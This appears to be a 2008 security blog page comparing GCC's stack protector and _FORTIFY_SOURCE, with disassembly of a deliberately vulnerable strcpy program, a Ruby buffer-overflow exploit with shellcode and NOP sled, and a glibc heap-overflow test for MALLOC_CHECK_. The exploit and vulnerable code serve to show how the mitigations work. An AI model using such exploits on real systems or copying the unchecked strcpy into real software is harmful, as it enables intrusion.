Showing posts with label glibc. Show all posts
Showing posts with label glibc. Show all posts

Jan 29, 2008

SSP and _FORTIFY_SOURCE

For overflow protection Stack Smashing Protector (formerly known as ProPolice) and _FORTIFY_SOURCE are two of the most prevalent extensions for GCC and Glibc. Both are independent of each other so they can be used together for an insanely paranoid setup.
Here is a sample code which is easily overflowed.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(int argc,char *argv[]) {
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
The normal x86 assembly output without SSP or _FORTIFY_SOURCE for main() should be:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x10c
mov eax, dword ptr [ecx+0x4]
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call strcpy
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
Allows for a clean overflow. Here is a exploit for the above code.
#!/usr/bin/ruby
shellcode =
"\xeb\x0d\x5e\x31\xc9\xb1\x28\x80\x36\x02\x46\xe2\xfa"+
"\xeb\x05\xe8\xee\xff\xff\xff\x33\xc2\xb9\x03\x02\x02"+
"\x02\x52\x6a\x61\x02\x02\x02\x6a\x6d\x6c\x71\x67\x6a"+
"\x67\x66\x42\x67\x56\x5b\xb8\x0b\x02\x02\x02\xb2\x06"+
"\xcf\x82\xb2\x03\x8b\xc1\xcf\x82"
ret = "\x1c\xee\xff\xaf" * 4
sled = "\x90" * (ARGV[0].to_i - (shellcode.length + ret.length))
exploit = (sled + shellcode + ret)
system(ARGV[1],exploit)
ARGV[0] takes the input size and ARGV[1] is the vulnerable executable name. The shellcode just prints ed@eonsec.
$ ./dumbsoft blog.eonsec.com
$ ./dumbsoft `ruby -e 'puts "E"*256'`
Segmentation fault
$ ./exploit.rb 260 ./dumbsoft
ed@eonsec

The relevant gcc options for SSP are -fstack-protector, -fstack-protector-all, -wstack-protector and --param=ssp-buffer-size=. Let us see what is the effect of fstack-protector.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x11c
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-0x8], edx
xor edx, edx
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call strcpy
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-0x4]
leave
lea esp, [ecx-0x4]
ret
You can see SSP in action, inserting the canary from gs:0x14 into EBP, after the call to strcpy(3) the canary is retrieved and checked. If it is untampered it will jump to .pass else __stack_chk_fail is called. By the way a quirk of SSP:
$ ./dumbsoft `ruby -e 'puts "E"*256'` ; echo $?
Segmentation fault
139
$ ./dumbsoft-ssp `ruby -e 'puts "E"*256'` ; echo $?
0
$ ./exploit.rb 256 ./dumbsoft-ssp
$ ./exploit.rb 257 ./dumbsoft-ssp
*** stack smashing detected ***: ./dumbsoft-ssp terminated

Now on to _FORTIFY_SOURCE. The only relevant option for GCC is -D_FORTIFY_SOURCE=. Here is the assembly with -D_FORTIFY_SOURCE=2 used.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x108
mov eax, dword ptr [ecx+0x4]
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call __strcpy_chk
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
$ ./dumbsoft-fortify `ruby -e 'puts "E"*256'`
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x45454545]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
$ ./exploit.rb 256 ./dumbsoft-fortify
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x90909090]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
As you can see _FORTIFY_SOURCE uses a different way of detecting an overflow. It has __strcpy_chk which as the name implies checks the input to strcpy(3).

Also it looks like _FORTIFY_SOURCE catches overflows earlier than SSP. To be clearer here is the assembly when both are enabled:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x118
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-8], edx
xor edx, edx
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call __strcpy_chk
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-4]
leave
lea esp, [ecx-4]
ret
If it is not obvious the __strcpy_chk comes before the canary check. I have not taken a look at the advantage of SSP over _FORTIFY_SOURCE maybe next time.

Dec 24, 2007

Glibc malloc check

Sometimes I encounter abort errors from some programs. The error is similar to:
*** glibc detected *** ./program: free(): invalid pointer: 0x0804b018 ***
Aborted

calloc, malloc, free, realloc is the family of C functions for allocating and freeing dynamic memory. An excerpt from malloc(3) sheds light on the abort errors:

Recent versions of Linux libc (later than 5.4.23) and glibc (2.x)
include a malloc() implementation which is tunable via environment
variables. When MALLOC_CHECK_ is set, a special (less efficient)
implementation is used which is designed to be tolerant against simple
errors, such as double calls of free() with the same argument, or over-
runs of a single byte (off-by-one bugs).

The possible settings for MALLOC_CHECK_:
0 = no error, do not abort
1 = show error, do not abort
2 = no error, abort
3 = show error, abort

This means that the default is MALLOC_CHECK_=3. Let us test:
cat > heaptest.c << "EOF"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(int argc, char *argv[])
{
char *buffer1;
char *buffer2;

buffer1 = (char *) malloc(10);
buffer2 = (char *) malloc(10);

strcpy(buffer2, "eonsec");
strcpy(buffer1, argv[1]);

free(buffer2);
free(buffer1);

return(0);
}
EOF
$ cc -Wall heaptest.c -o test
$ ./test 0123456789
$
$ ./test 01234567891
*** glibc detected *** ./test: free(): invalid pointer: 0x0804b008 ***
Aborted
$ MALLOC_CHECK_=0 ./test 01234567891
$
$ MALLOC_CHECK_=1 ./test 01234567891
*** glibc detected *** ./test: free(): invalid pointer: 0x0804b008 ***
$ MALLOC_CHECK_=2 ./test 01234567891
Aborted
$

Works as advertised.